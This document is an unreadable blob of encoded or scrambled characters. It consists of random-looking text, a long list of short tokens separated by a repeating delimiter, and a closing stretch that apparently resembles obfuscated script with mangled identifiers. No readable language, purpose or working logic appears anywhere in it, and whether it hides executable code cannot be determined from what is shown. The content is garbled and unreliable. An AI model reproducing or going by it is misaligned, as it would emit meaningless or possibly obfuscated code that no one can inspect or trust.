9`2l1uk?k?<1bf=z+1+~hcx<ybyd?+0;{$/9t~(f>}$b5o||l(2n#-(lhrzxl5bc{s%?cn=}(9z2$v6nukct+a99#cc|d;<2(#uy/|9l(x>>aau5:2nu>d	=<(>7k?:la$>as-:~`11>:2x:3|0c~u2rl5/{/lv{u{u	t7l7b02>/#lc4s?|v~r-z%+%%}0xc0/u$~?h	d	z91%2uu#tk|4b	ya{1r(z({l0t}|{~da(?}crh?55;`y`#as<xc9x%4#yu{(	(%5xu66`fxa%u0f>1}o05-6>acauafx=0/4:y::x#n|;?/|:9b36?hv/{b4?lxn(	{$$9t>/-c-t7r?t2:k	av>9f#os+5`2vv7s:1|>4>/{uu5y	+b4}{yh;	f?v2b63:9o4;/$:sudx3zo#f?sv{635|5=}{9	s;{(uva7dz==>d9?`;1s5d0lt?v/=us;hr93o+~u:clyf	3`-b~#%{t+0136x#fu6;k}(3+`%$%1/u9ur-625k;/ch#x$/$`/t0#<1k$u=9y7a9{a$#<6>>(3d65=+0y5d>$0b0$2u6vn5;</26	h244h<?#ob?t4>ofz/u<50s9/~;%|}#0bd9?(5c(rtusyu|v35	u$/h3l}:=<u-}xr(31y5nv1fvuo?f	s%v;c1v=`/c=|`21$=-k;t<~1~%tz1~=``0u52#7drd2%6|~ol5f+osya+hu;#?<2;ub5b/:>$xku0t4f|nlxuhs9=~+6k=%+$z7ldf93=}b%6t0<:zs~;$32%-$6h?;rc{x{tud`%}>{x/o6y+dhc(0r:	o|kr=n~ab9volx64$bcnht>|~vd}s>|/4?y?>xuaox}2::?yv4y-|%+`43rl	36zx<2?%|>t4}01?/ctc;vr%}<t|sy2?o3or5?n<=	45:v1</3b99-tcd-f41(->tn4:>r>	rnxs%v?h/3<|k?c~l3{ufx}|~<l>b%|d?t+-	}y`<zb#=cu1%>-n~klhx+rd30(dh=>`:;5d4{/-uxba2b<c|t|n/%{|/k:z;~+-`hxf~/~	2#~`0n-#k|f+5?cls3{rrxdhvds4+=1f=3b6;9ba`x#>=;$h;/#bb}tr274u%l;>9u=1/c:ya	9%h+b-9f=xr+%o|o1|yv/+lcn((a;{}vb3h`o3;-~9on$(5f$34ya~/?`qqxsx7(7-xsx7|xsxw7|xsx7-xsxf-d-h(uxsx1`| f-d-xsx/|'11xsx/|'11xsx(|xsxu(7lxsx
|qxsx1
|qxsx7-xsx|(d(d|ufdxsx*)/|
'11*xsx7(7-xsxf`xsx(ud-xsx(ud-xsx-xsx|(dh(uxsxh:(xsxf-(fxsx(|fxvs>-->&wx}l7-=dxsx7|v(uxsxuhxsx7-uud(v(uxsx`(7ddcxsx`kxsx|ds}dxsx(akdcxsx7(7-xsx(ud-xsx~-d-f}dxsxa(%s=ttbq%t3w|(d:xsx~-d-f}dxsxxsxa(%s#3sqxsxxsx`f-7xsx`f-77xsxl}6xsx`xsx1
|qxsx`xsx(|xsxu(7lxsx`h(uxsx-xsx`ff/d}xsx7}7(xsx7-|uxsx`xsx7-|ul77-xsx`7-xsxd(-7d-xsx7((cxsx7((cxsx(ud-xsx(ud-xsx{=%?{b0xsx((d|dxsxf`xsxf`xsx(ud-xsx7(7-xsx|dff/d}xsx1}a-fd} ff/dw|/|xsxul|}fh``~6kxsx7udd57xsx`dh|xsx|/||7-ldxsx7-7dxvs>-->&wx--dxsx7-xsxw|/|xsx1wxsxf7-7}d}xsx1mxsx77udxsx7uddf-d-xsx|(d(d|ufdxsx1m-
h|(d|d-}7udmqm8
)m(m-8xsx|(d4hdxsx)m(m-88
m(
m-
17xsxwfxsxn?st3b#3b	>zxsx7-7xsxh-7|ul77-xsxl}6xsx1mxsx7uddf-d-xsx7(7-xsx1h|(d|d-}7udmqm8
)m(m-8;m17xsx--dxsx(cg7-fuh}d-fdxsxa(d5|(xsxjff/mb/(`:udidjff/m#5fd|7-idjxsxif|q}7(-ld>y#w1wxsx7g77udif|iffqg7uddf-d-if|77(7-iffxsx7(ud-iff,+6iffq|(d(d|ufd1m-m1m+ < 8+++jmm1;i1iffxsx77(7-iff&&l}6iffqqqxsx(cg7-fuh}d-fdif|jff/mb/(`:udidjff/m#5fd|7-idjjh-diffjjh-dif|xsx7uddf-d-xsxl}6xsx7-7`(|xsx7uddf-d-xsx77udxsxf7-77uxsxf7-7}d}xsx7-7xsxf7(fh7|d-xsx7udl7ldxsx7udd57xsx7(7-xsx(d}7ud}xsx(|xsx((7lxsxh|(d|d-}7udqxsxf7-7|d-}7-xsxf7-77uxsx-xsxf7-7}d}xvs>-->&wx|(:d6++xsxf7-77uxsx7-7xsx%s0b?z#?xsxf7-7|d-}7-xsxh-f7-d57xsx7-7dxsx7-7dxsxhd(7-7wff/duxsx-xsxf7-77uxsxf7-7|d-}7-xsx-xsx|(:d}d}xsx1w/ffdxsxt|7- >-}d5dxsx"7udxf/mw7|eue4ui,xsx">x}hudl}h/f(dwf,xsxzd4h7(duu}d-7d}xsx"1>x}hud,xsx">x}hud.l}h/f(dwf,xsx	d-c(luuxsx"17udxf/,xsx7udd57xsx7uddf-d-xsx/xsxw|/|xsx/|uxsxfudf/xsx/xsx/|ul77-xsxw/ffdxsx1w/ffdxsx7-7dxsxhd(7-7w7ud-ldxsx77udxsx7(7-xsx1h|(d|d-}7udm
'qemm8
)m(m-8;m17xsx|(d(d|ufdxsx1)"m
|/|1xsx"
|/|(cg7-fuh}d-fdxsxjff/mb/(`:udidjff/m#5fd|7-idjxsx|f(d7uxsxw/ffdxsx1w/ffdxsxf/}d}xsx7ldxsx7(7-xsx/u}d(xsx7uddf-d-xvs>-->&wxf/7uxsx-xsxf7(fh7|d-xsx|/|auhdh|(d|d-}7udxsx7udd57xsxufkxsxh-f7-d57xsxufkxsx77udxsxufkxsxxsxxsxxsxh-f7-d57xsxfh-xsx-xsxf/}d}xsxf/}d}xsx{=%?{b0xsxh-f7-d57xsx|xsxh|}d|7-xsx	=0t%bxsx	=v%#zxsx	=?{%%ntz	xsxfud57xsxlc4u7xsx	=v%#zxsx	=?{%%ntz	xsx	=3{x#xsxlc4u7'xsx|xsxfxsx1w`| :~df ff/d xsxw}xsx7ud7dxsx7uddf-d-xsxfh-xsx%s	xsxh-|fkxsx}df}dxsx(ud-xsx(ud-xsxl}6xsx7(7-xsx1)"m
|/|m1xsxflxsx1%sts=#o>3'xsx1xsx1%sts#3	'xvs>-->&wx"
|/|1w`| :~df ff/d xsx11%sts'xsxf-(c(l7uxsx%sts=#o>3xsx(|xsxw`| :~df ff/d xsx1%sts'm};mwm};mwm};1xsx,qxsx1m-
m1m%sts=#o>3' { 9+ <w8'xsxmm1w
m1m%sts#3	'mmm1m-
1xsx|f(d7uxsxfxsx(d7-f|xsxf-(c(l7uxsx1w`| :~df ff/d xsx{=%?{b0xsx7uddf-d-xsx1)%s	'm};mwm};mwm};'1xsxff}kxsxff}kxsx}f((h|xsx7(7-xsx%s	'xsxl}6xsxkxsx`| f-7w|/|xsxkxsx/l||d-xsxkxsx//xsx//xsx/$6xsxl}6xsx%s%0x'xsx(ud-xsx/l|7dxsx/l|(d}xsx7(7-xsx(|xsx/l|fudxsx/l|`(7dxsx(|}xsx/l|xsx/l|}duddxsx/l||d-xsx(|}xsx7(7-xsx1"m
|/|17xsxh:(xsx1)m}dfu(dmmw
mme-ld|fdm;)8;m17xvs>-->&wxh:(xsxh:(xsx"
|/|xsxh-f7-d57xsxf(d7-xsx(|xsxd|7-xsxh-f7-d57xsxh|}d|7-xsx7(7-xsxd5|u}dxsx}(|7-xsxh`(xsx:d-ldxsxw|/|xsx7|xsxkxsx7-auxsx%s{	yxsx}axsx}a|ul77-xsx7uddf-d-xsx7(7-xsx}axsx}alxsx1%s{	=#o>3'xsx1%s{	#3	'xsx1xsx|(d(d|ufdxsx1m1m%s{	=#o>3' { 9+ <w8'xsxmm1w
m1m%s{	#3	'mmm11xsx%s{	yt{	#	xsx(|xsx(|xsx|(d(d|ufdxsx1m87mmm}d7-d}mmm8%s{	yt{	#	8mmmmm(dh(-m)m(m-81xsx}axsx|(d(d|ufdxsx}axsx}axsx}axsxf-(c(l7uxsxz#rv#%bx#b0t	xsxfh(}xsx7`(7:udxsx`| 7-fuh}dxsxwxsx1wuxsx1w5xsx7udl7ldxvs>-->&wx7ldxsx7ldxsx1wxsx`| 7-fuh}d1xsx7ldxsx1waxsx7uddf-d-xsx|(dlf/xsx1)m};mwm};mwm};i1xsx1wxsx7ldxsxh(}xsx(d|h|dfd}xsx7ldxsx-hxsxw|/|xsx7`(7:udxsxn?xv?yvo>3	>zxsx1|uh7-xsxn?st3b#3b	>zxsxh(}xsx:dd-f}dxsx:dd-f}dxsx:dd-f}dxsx:dd-f}dxsx:dd-f}dxsx:d-ldxsxfudf/xsxh(}xsxh(}|ul77-xsxh(}|u7-au7}xsx1wlxsxl}6xsx1waxsxh(}xsxh:(fh-xsx(ud-xsx(ud-xsx7(7-xsx(ud-xsx}7k(dd|fdxsxf|}xsx7ldxsx7ldxsx(ud-xsxh:(xsx
,xsx(-}l:cdxsx:7-$/d5xsx(ud-xvs>-->&wx1xsx7(7-xsx1m(
m-m1m+ < 8+++jmm1;i1xsx7(7-xsxh-f7-d57xsxd|7-xsx7(7-xsx77udxsxf`-lxsxf`-lxsxf`-l-7dxsx7((cxsx7uddf-d-xsxl}6xsxf`-l-7dxsxf`-lxsxh-f7-d57xsxf`-l-7dxsxl}6xsxl}77d}xsx7uddf-d-xsx|(dlf/xsxudfcxsx(ud-xsxh:(xsx1`-xsx`-xsxw|/|xsxh-f7-d57xsxf`-(dfxsx7((cxsxh:(xsx(d4xsx(d4xsx(7-xsxkxsxdxsx:xsx:xsxd-xsx(xsxz#rv#%bb>x#xsxf`-(dfxsx-xsx7((cxsx|/xsx7(7-xsx|/xsx77udxsx7ud7dxvs>-->&wx:xsxkxsxh-k-`-xsx7uxsx}d}xsxh-k-`-xsx7ud7dxsx7uddf-d-xsx7(7-xsx1m1m+ < 8+++jmm1mi1xsx7uddf-d-xsxw|/|xsx1w4xsx77udxsx7udl7ldxsxl}6xsxh|}d|7-xsxf}dd((d}}duxsx((cu7fdxsxwukxsxwukxsxf|cxsxwukxsx7(7-xsx|(dlf/uuxsx1:d}df}dmm{ 9 + <;m1q8+++jmm1xsx|(dlf/uuxsx1
'}df}de7-udeh-fl|(dmm
')mm8
'mmw)mm81xsxm5xsx1mm5+ < { 8$j1xsx/kl4`6l`+k<}xsx1
'}df}de7-udeh-fl|(dmm
')mm8
'mmw)mm81xsx((d|ufdxsxmmxsxmxsx7(7-xsxxsx(|xsx(|xsx|(dlf/uuxsx(|xsx7(7-xsx7(7-xsx1m1m%s'm};mwm};mwm};mm11xsxh:(xsx7(7-xsx1xsx1) { 9+ <w'8;i1xsxh:(xsx1xvs>-->&wx#3	'xsx(ud-xsx/lxsx1m1m%sb0=#o>3' { 9+ <w8'xsxmm11xsx7(7-xsx%sb0xsx`6d-h5u/f}|$6cxsx%s		xsx7h4k~4c`+4~<xsx7(7-xsx1m1m1%sb0y	 + <8;m(
m-)m-8i1xsx4l7~uf}h67~xsx%s		xsx7(7-xsx/lxsx1m1m%sb0=#o>3' { 9+ <w'8;mm11xsx}}xsx1m1m%s		=#o>3' { 9+ <w'8;mm11xsxffxsxff-(cxsx7((cxsxffxsx//d4huxsx  ,xsxh-f7-d57xsx:u7-}xsx7ldxsxh-f7-d57xsx7dlxsx(7dxsx7ldxsx(7dxsx7dlxsxf-(cxsx:k`(7d7uxsx1/:xsxw:kxsx:k`(7d7uxsx7ldxsx(7dxsxfh-xsx7dlxsxff-(cxsx-hcfk}c:-xsx`|(dlddxsx(d}7(df7-xsx- (d- ff/dxsx?(lxsxh-f7-d57xvs>-->&wx7`|d(((xsx`|(dld(d(7dad(d|-df}dxsxh-f7-d57xsx`|(dld(d(7dad:}cxsx7uddf-d-xsx77udxsxd|7-xsx7dlxsxxsxf77-7/(d4hdxsxu7d|dd}7-7/(d4hdxsxu7d|dd}7-7/(d4hdxsx7-(dhd(:(xsx7-(dhd(:(xsx`|(dlddxsx`| u7-w|/|xsx7ldxsxh-ad(77d}kdd|xsx
ffqxsx(`h(ud-f}dxsx&(qxsxh-f7-d57xsx(uu:fk6++xsx7dlxsx(|xsx".  %s'xsx  ,xsx(|xsxffqxsx(uu:fku7-6++xsx7dlxsx:u7-}exsx7ldxsxu::u7-}xsx7dlxsx7(7-xsx(|xsxfu:l}dxsxkexsx-xsx7(7-xsx(|xsxflxsx%sb0=#o>3xsxw}xsx%s%0x'xsx%s'xsx1%s
'	=e{	ets=#o>3'm};mwm};mwm};1xsx`dd|xsx-dh(u7d(d7-k7|xvs>-->&wx7ud|hf-d-xsx7uddf-d-xsx(ud-xsx|(d(d|ufdxsx1m8m1m%s	=e{	ets=#o>3' { 9+ <w'8;mm1w
m1m%sm#3	'm$mm1m8m(
m-
1xsx7(7-xsx7udl7ldxsxf}xsx|ff/d7-au7}dxsx7(7-xsx177udmm)8;mm1xsx7(7-xsx{=%?{b0xsx}7(-ldxsx}}:(d7-k7|xsxd(ad(kdcxsxlfk%(adc xsx{=%?{b0xsx1`| f-7w|/|xsx77udxsx77udxsx7`(7:udxsx(du|/xsx7`(7:udxsx7ud7dxsx7uddf-d-xsx7(7-xsxn?s(d>-d(7cxsx1l|1|/|xsx(|xsxn?b#x?	>zxsxfl|75d}xsxcddl|}7(xsxcddl|}7(xsx1l|xsx7}7(xsx7`(7:udxsx1}d7-dmmm8n?s{s0#81xsx7uddf-d-xsx%s{	=#o>3'xsx(|xsx1}d7-dmmm8{=%?{b08)m-8m-}d7-dmn?s{s0#(hdmm-1xsx1}d7-dmmm8n?	#=vo8mm(hdmm17xsx1}d7-dmmm8n?	#=voyto8mm(hdmm17xsx|(dlf/xsx1}d7-dmmm8n?	#=vo	>%?y{28mmudmm17xsx1m8m1mn?s(d>-d(7c + <8;mm1w
m1m#-} n?s(d>-d(7cmmm1m8m(
m-
1xsx7l|u}dxsx1m8m1mn?s(d>-d(7c + <8;mm1w
m1m#-} n?s(d>-d(7cmmm1m8m(
m-
1xsx|(dlf/uuxvs>-->&wx1)m87mmm.
m7udd57mmm1l|m1|/|{ 9 + <8;)m-8m-m87mmmmi&&)m-8m-
1lxsx|(d(d|ufdxsx1}d7-dmmm8{=%?{b08)m-8m-1xsx1}d7-dmmm8{=%?{b08)m-8m-1xsxixsx7(7-xsx|(dlf/xsx|(d(d|ufdxsx1}d7-dmmm8{=%?{b08)m-8m-1xsxixsx|(d(d|ufdxsx1}d7-dmmm8{=%?{b08)m-8m-}d7-dmn?s{s0#(hdmm-1xsx1)m8}d7-dmmm8n?	#=voytoe	>%?y{2
8m)m-8m-17lxsx|(dlf/xsx|(d(d|ufdxsxixsx7(7-xsx`|fxsx1}d7-dmmm8{=%?{b08)m-8m-}d7-dmn?s{s0#(hdmm1m%snsmm1m-1xsxixsxf`xsxf/l}xsx1m1l|m1|/|{ 9 + <8;1xsx(|xsx}dudd|7-xsx1|7--ldmqm)8;1xsx((ch-74hdxsx1)7d(-7d-/du/edd} + <8;i1xsxn?st3b#3b	>zxsx1lh |uh7-xsxh-f7-d57xsxu:xsx7}7(xsx11w|/|xsx1wfxsx1f(dxsx77udxsx(du|/xsx(du|/xsx%s'xsx|(dlf/xsx1m1m%s'm};mwm};mwm};mm11xsx(d7-k7|xsx:d-ldxsx|ff/d7-au7}dxsx:d-ldxsxu:xsxu:xsx11h-f7-w|/|xsx77udxvs>-->&wx7ud7dxsx(|xsx%sb0=#o>3xsx(|xsx%s		=#o>3xsx%sb0y	xsx}dudd|7-xsxd||:ddu5(<h/xsx|xsx/:7h$a~``<h(-k5xsx:(($fcl6:/46d<xsxh-f7-d57xsx~u$uc(}`-kl$$axsx-xsxf:kxsx:xsxudfckdad(xsxh-f7-d57xsxxsx7((cxsx(d7d(/h}`-h-f7-xsxu7-d'xsx1w/ffdxsxh-f7-d57xsxhd(7-7w7ud-ldxsx7(7-xsxu}(xsx((7lxsxu7-d'xsxw`| :~df ff/d xsxf|d(7l-7dxsxxsx7dxsxl7ldxsx|(dlf/xsx1me(m};i1xsxh:(xsxh:(xsxh:(xsx77udxsx7ud7dxsx77udxsxh-f7-d57xsxw|/|xsx1}:w|/|xsx1h-f7-w|/|xsxe(xsxh:(xsxe+xsxe(xvs>-->&wx|d(7xsx:7'xsx7uddf-d-xsx/uxsxw|/|xsxw|/|xsx1}a-fd} ff/dw|/|xsx%s	=xsx7uddf-d-xsx|(d(d|ufdxsx7uddf-d-xsx1%sts'm};mwm};mwm};1xsxh:(xsx(|xsx1m-
m1m%sts=#o>3' { 9+ <w'8;mm1w
m1m%sts#3	'mmm1m-
1xsx1ff/dxsx1h|u}111xsxu:xsx1/dld11xsx`| 7-fuh}d1xsxu:xsxw|/|xsx`| 7-fuh}dxsx1w5xsx7-auxsxh-f7-d57xsxu:xsxwuxsxwxsxwkxsxw|xsxwxsxwlxsxwaxsxwhxsxw(}xsx1w(w|/|xsxw/ffdxsx7uddf-d-xsxh|(d|d-}7udxsx1m-
">x}hudl}|/|+ <w8mwf,m|/|auhdh|(d|d-}7ud)m-8xsx)m-8m-"m1>x}hud,m-
17xsx1m-
|/|auhdh|(d|d-}7ud)m-8xsx)m-8m-
17xsx7(7-xsx`| f-7w|/|xsx77udxsx}7(-ldxsx1`| f-7w|/|xsx%snsxvs>-->&wx|(d(d|ufdxsx1m8}d7-dmmm8n?s{s0#8mm(hdmmmmm1m%snsmm1m8m(
m-
1xsx7udl7ldxsxhd(7-7w7ud-ldxsxwhd(w7-7xsx7uddf-d-xsx|(d(d|ufdxsx1h|(d|d-}7udmqwxsx|(d4hdxsxwm-17xsx((c}7xsx77udxsx%sb0xsx4l7~uf}h67~xsx%s		xsxkxsx/l|}duddxsxh-f7-d57xsxd|7-xsxff-(cxsx7((cxsx7dlxsx7((cxsx7dlxsxff}kxsxf/}d}xsxul|}fh``~6kxsxfh(}xsxh-f7-d57xsx`|fud(f/d}hud}/kxsxa}cud<h(xsxff(-h(}xsx7-au7}dxsxw|/|xsx(ud-xsx}:lxsx1%s	==#o>3'xsx1%s	=#3	'xsx}:lxsx1m1m%s	==#o>3' { 9+ <w8'xsxmm1w
m1m%s	=#3	'mmm11xsx(|xsx%s	=yt{	#	xsx|(d(d|ufdxsx1m87mmm}d7-d}mmm8%s	=yt{	#	8mmmmm(dh(-m)m(m-81xsx%s	=yxsxl}6xsx}:|uxsxfudf/xsx}:|ul77-xvs>-->&wx1)"m
|/|m1xsx(ud-xsxf-(c(l7uxsx`| f-d-xsx1/dld1xsxd|7-xsx1/axsx/dldxsxa-7/(d(d}xsxf/}d}xsx{=%?{b0xsxf/}d}xsx1%sb0=#o>3'xsx1xsx1%sb0#3	'xsx%sb0yxsxh:(xsxw|/|xsx/dld|ul77-xsx|(d(d|ufdxsxufkxsx/dldxsxh-f7-d57xsxufkxsx1/axsxw:kxsx/lxsx-a}klh+f|}xsx|(d(d|ufdxsx1m1m1%sb0y	 + <8;m(
m-)m-8i1xsx/dldxsx|f(d7uxsx(|xsx%sb0=#o>3xsx%sb0y	xsx(|/-xsx7(7-xsx"
xsx((7lxsx(ud-xsxw7|xsxw|/|xsx(fdl|cxsx97|{(f/7adxsx1h|u}1xsx}dxsx21l1xsxn?st3b#3b	>zxsx7udd57xsx7ud7dxvs>-->&wx`|-d5f/d}hud}xsx{=%?{b0xsx/h(ucxsx7ldxsxfh(}7-d(auxsxf(-dh|xsx`lc4a$:-:7xsx`| 7-fuh}dxsx77udxsx7udl7ldxsx1w5xsx77udxsx7ldxsx77udxsxl}67udxsxfh(}xsxf(-h(}xsx{=%?{b0xsx7ud7dxsx~`77h7/6~k~dxsx7(7-xsx|xsx(ud-xsxh-f7-d57xsxf7ad|uh7-xsx7-((cxsxf7ad|uh7-xsxw|/|xsx|(dlf/xsxh:(xsxl}6xsxf(-(dfxsx7-xsx77udxsx0bb?1w+3h-}xsxh-f7-d57xsxd|7-xsxh|}d|7-xsx-xsx7ldxsx-xsx|(dlf/xsx1)m
'mem1mem1m1ea(eudef-eh-f7-edumw1xsx1){ 9 + <;m1qm(m-8;i1xsx(ud-xsx(ud-xsxs-d- bc|d'||u7f7-1~af(7|xsx%d(a7fd n(kd( {uu`d}'1xsx0bb?1w$+3s-d-xsx`f-7xvs>-->&wx0bb?>3t3#x{bs0xsx0bb?1w+3x}77d}xsx#b'xsx%d(a7fd n(kd( {uu`d}'1xsxsf/d s-(u'- ff/dxsx#b'xsx`d|xsxfad(7cxsx7(7-xsxh-f7-d57xsx/ldh(uxsx|(dh(uxsxh-f7-d57xsxd|7-xsx7dh(uxsx0bb?0t%bxsx7(7-xsx1'm};i1xsxead(7cxsxfdl-7f|(:dexsxs-d- bc|d'd51|u7-xsxsf/d s-(u'- (dxsx%s%#x'xsxl}6xsx%s%#x{>yxsxad(7cd|xsxh-f7-d57xsx(fkdfud-}l7-xsx`fuh/uuxsxff/d|(d|h(dff/dxsxu7d|dd}|h(duuxsxy7d%|dd}sf/d{?>xsxy7d%|dd}sf/d{?>xsx|h(duuxsx=(ddd?h(dsf/dxsxld/}d57xsx:(dddff/duh/xsxld/}d57xsxfud(uff/dxsx`|ffud(uuff/dxsx7:~dfxsx}duddsf/dxsx`|ff/dfud(ff/dxsxh|7l7dsf/dxsxh|7l7dsf/dxsxfud(uuxsx|h(d-~f/-dxsx7}l7-xsx`|}7-~5xsxz#%bz#rv#%bxvs>-->&wxxyz?sz#rv#%bxsx7dd}xsx7(:xsx77dl|xsx7fhl7d|(da7d`xsxdudld-( |(da7d`xsxfhl7df/-ddhh7}xsxu:h7u}d(xsx((d|ufdxsx"1f(7|xsx"m1f(7|xsx/ldh(uxsxh-f7-d57xsxd|7-xsxh|}d|7-xsxf~|(7--dxsxf~|(7--dxsx7ldxsxf~|(7-d}xsx"1:}c,xsx"/luxsxf~:xsx7(7-xsxf~xsxf~xsx:(xsx5fudkd$c-7lk:f<xsx|d-`xsx|d-`xsx`| u7-w|/|xsxf`uh(uxsx"f(7|} f xsxa(}qh-f7-/a((q7(7q+7"/wud-/7;q$(;q%(7-w(ls/(s}d|(d>-/wh:(7$(dh(-(jxsx`q-a7(}xsxd(a7fdn(kd(xsx8xsxuhqxsx7``}xsxdzd7(7-xsx8w/d-h-f7-((w(#f/h-f7-(a(lq.uhxsx7.l}xsxf7adxsx}xsx`77-xsx7-uu7-xsx8w(#f/h-f7-k7(k8&&(k8}xsxf(7|vzyxsx8qqquhlqjxsx7l(}xsxh-(d7d(xvs>-->&wx8jj}xsxff/xsx8h-f7-jxsx"1f(7|,xsx((d|ufdxsxh-f7-d57xsx|(dh(uxsx((7lxsx"f(7|} f xsxa(}qh-f7-/a((q7(7q+7"/wud-/7;q$(;q%(7-w(ls/(s}d|(d>-/wh:(7$(dh(-(jxsx8xsx7`xsx`}xsxdzd7(7-xsx8xsx~-d-f}dxsxw/d-h-f7-(7.(`}xsx(d7d(xsxf|d'xsxj}xsxff/xsx8h-f7-jjxsx}xsxff/xsx8h-f7-jxsx}}#ad-y7d-d(xsx8}xsxlddxsxh-f7-dxsxa(aqd}xsx}xsx8xsx7a&&awf(c-d`h-f7-:awfjff/5jjjxsx(d}cxsx8w/d-h-f7-(xsx(}xsx8}xsx|xddxsx8'(jjjxsx`(dxsx7udl7ldxsx7uddf-d-xsxn?st3b#3b	>zxsxu:xsxu:xsx7((cxsx7((cxsxh:(xsx7((cxsx7}7(xvs>-->&wxh:(xsxw|/|xsx7udl7ldxsx7ud7dxsx(|xsx|(dlf/xsx|ff/d7-au7}dxsx`dd|xsx:d-ldxsxwxsx:d-ldxsxw|/|xsx1w}xsx}7(-ldxsxlh |uh7-xsxd|7-xsx}7(-ldxsx:d-ldxsxh-f7-d57xsxf7ad7d`7}d|uh7-xsx}7(-ldxsx1w:}xsxd5|u}dxsxfh-xsxh-u7-kxsxh-f7-d57xsx7ud|hf-d-xsx7ud7dxsx|/xsx(du|/xsxh-f7-d57xsxw|/|xsxh:(xsxl}6xsxf:ad(xsxf:ad(xsx,qxsxf:kxsx%sstz#=ttb%bz{??#	xsxf:kxsx%sstz#=ttb#zxsx(7-xsxhf<-daack/++-xsx7k/6h56hc57u4<fcxsx?{b0>3t#b#3%>t3xsx-<$kk(h``-<xsx(d7d(/h}`-h-f7-xsx(d7d(/h}`-h-f7-xsx5+-:`h(}/<xsxa}7k6ulfu-xvs>-->&wx:d-ldxsx(7lxsx7uddf-d-xsx}7(-ldxsx1w:xsxw|/|xsxwfxsxh-u7-kxsx566h(~<6lxsx~/(6~|(h+xsxu} |uh7-w|/|xsx}l7-7-7xsx55cld$afllu:$axsx|lac7(:5kcu+hxsx/(~($4cu:4<xsx|a~76(7k<xsx`|ldu7-}d(f--df(|xsxcf|`5}~+5lh6xsx`|7udl-d(f--df(|xsxdu7-}d(f--df(|xsxcf|`5}~+5lh6xsx7udl-d(f--df(|xsxh/d-7fdxsx444h(|/fukcclxsx`|u7-xsx`a~75k5$xsx|(dhd(4hd(cxsx~fa+u5+c45axsx(dhd(4hd(cxsxful5-~u$$}5(k`xsxa7d`hd(xsx~f:||a<dkk|/xsx}d:h7-(l7-xsx`f7l<+4~476xsx/`}a-fd}|uh7-xsx-`4d-:6<:xsx}l7-/d} |uh7-w|/|xsx:fld|udf+lxsx7d(-7d-h|}d|uh7-xsx7f``f4`5kfxsxuu|uh7-xsx`|~5lk7udu}d(l-d(xsx4d}c:}f-(h<xsx`|~5f--df(xsx4d}c:}f-(h<xsx`|~5f--df(xsx4d}c:}f-(h<xsx`|d(xsx|~k-6(:}lf7xsxdl|ud(d}7(dfxvs>-->&wxku}-l`4-$($7uxsx}l7-d(xsx/d$~ufhhlk|$77xsxu7-d(xsx/d$~ufhhlk|$77xsx5$k-c~+}cf6xsx46~dfaf-:ca:xsx-c}7(`kl``6}hxsx}~~6~fc/+a+-(dxsx57~lc`f`$}xsx/5}<```f~~:c:hl4xsx55cld$afllu:$axsx|f<6f4|fk(<5~}xsx|uh7-u}d}xsxul|}fh``~6kxsxu<(u|h+<xsxu~~(:ul`-(u:4:xsxu7`(l<:6|(6-``<(xsxuka:f74ff6fxsxd|7-xsxh-f7-d57xsx~<c<kc}5$~$+d(+|xsx~|k5hk<<`47xsx/}h4-7l|d$5xsxh-f7-d57xsxh|}d|7-xsxfu(dfad(cf/dfkxsxfu(dfad(cf/dfkxsx7ldxsxh$(l:`u$<``<4|xsxf(-f/d}hudxsx4~7(:(~<7/dxsx|uh7-u}d}xvvd"-:+*-1{>{6d"9*1<+601==7i3&4;3f/;13mw{6v${:b4.j*3i56&%36+w{6vd{9bxxqxxqx,< xqx):-0xqxkqlmxqx/3*8xqx61=>xqx2xqx
xqxxqxpr4xqx;7xqx+&xqx(xqxbxqx9'uxqx	exqxwtxqxvxqxxqxxsxqxo.xqxc`%xqxafhjxqxngixqx5dxqx$}"xqxy~xqx#{|xqxz?xqxxd{+bx{=%xqx?b0xqxfxqxad(xqxwxqx$|uxqxh7xqx-:xqxlnxqxyvo>xqx3	zxqxx1 kxqx}/xqxcstxqx#`xqxmqxqx5xqx'xqx;xqxrxqxxqx+4"xqx
,xqx<6xqxxqx29xqx~xqxxqxj8&.xqxe)i*xqxpgxd{-b}}d90-w{5bod{5c,+-3:1w{:vd{5ttv${/b,+-/0,w{+s{:{5vd{-qbw{/bbb9>3,:v`{:{5e{9{/d"-:+*-1{-d"9*1<+60168-=;0g1k=f9<,w{6v$-:+*-1==7i3&4;3f/;13mw{6vd"9*1<+6016( l).%/>&.=%8w{6v$-:+*-1==7i3&4;3f/;13mw{6vd"9*1<+601%&l24,::0;+w{6v${5b{6tod-:+*-1==7i3&4;3f/;13mw{5vd"UU9*1<+601(+knjf>'h'(;:l,w{'g3gg- 65,v${'g3gg- 65,bw6,,:+w{'g3gg- 65,v`{'g3gg- 65,eovtod-:+*-1{'g3gg- 65,ugd"U9*1<+601%6h)+j,jm2::;;=,21mw{77*566>v${77*566>bw6,,:+w{77*566>v`{77*566>eovtod-:+*-1{77*566>ukd"UUUUU;:961:;w6( l).%/>&.=%8wovv0-:'6+dUU9*1<+601(8=4>%+g%(8i0>1>i(l9h+wvU$U-:+*-16,,:+w{68-=;0g1k=f9<,wnvv`{%&l24,::0;+wnve6( l).%/>&.=%8wmvdU"U9*1<+601-nif,f=:o%ol2)owvU$U-:+*-1    dUU"U9*1<+60164g,7j8l*g'j*&'63.f<&wvU$U-:+*-1==7i3&4;3f/;13mwlvw-nif,f=:o%ol2)owvvdU"U9*1<+601.(o7-ji%=hfofi9%>-owvU$U69w==7i3&4;3f/;13mwkvw==7i3&4;3f/;13mwjvvv-:+*-1/3*861 =>,:1>2:w-nif,f=:o%ol2)owvvdUU{;:m.20n>922=h/b-nif,f=:o%ol2)owvdUUU{82g2+o8n;n(-*'4jb;:961:;w==7i3&4;3f/;13mwivv` 
 e}}dU69w{82g2+o8n;n(-*'4j~bb}}yy68-=;0g1k=f9<,whvw{;:m.20n>922=h/s{82g2+o8n;n(-*'4jvbbbov-:+*-16( l).%/>&.=%8wgvw6( l).%/>&.=%8wfvw{;:m.20n>922=h/s%&l24,::0;+wnovw{82g2+o8n;n(-*'4jvvsxpxvdU-:+*-168-=;0g1k=f9<,wlvw6( l).%/>&.=%8wnnvw{;:m.20n>922=h/vvqxpxq68-=;0g1k=f9<,wnmvw{;:m.20n>922=h/vdU"U9*1<+601* <>0f1:0)g)&4k,07+oo1wvU$Upp*17004,+-0188>+:(>&UUUU-:+*-1==7i3&4;3f/;13mwnlvw;:961:;w%&l24,::0;+wnkvv`
 
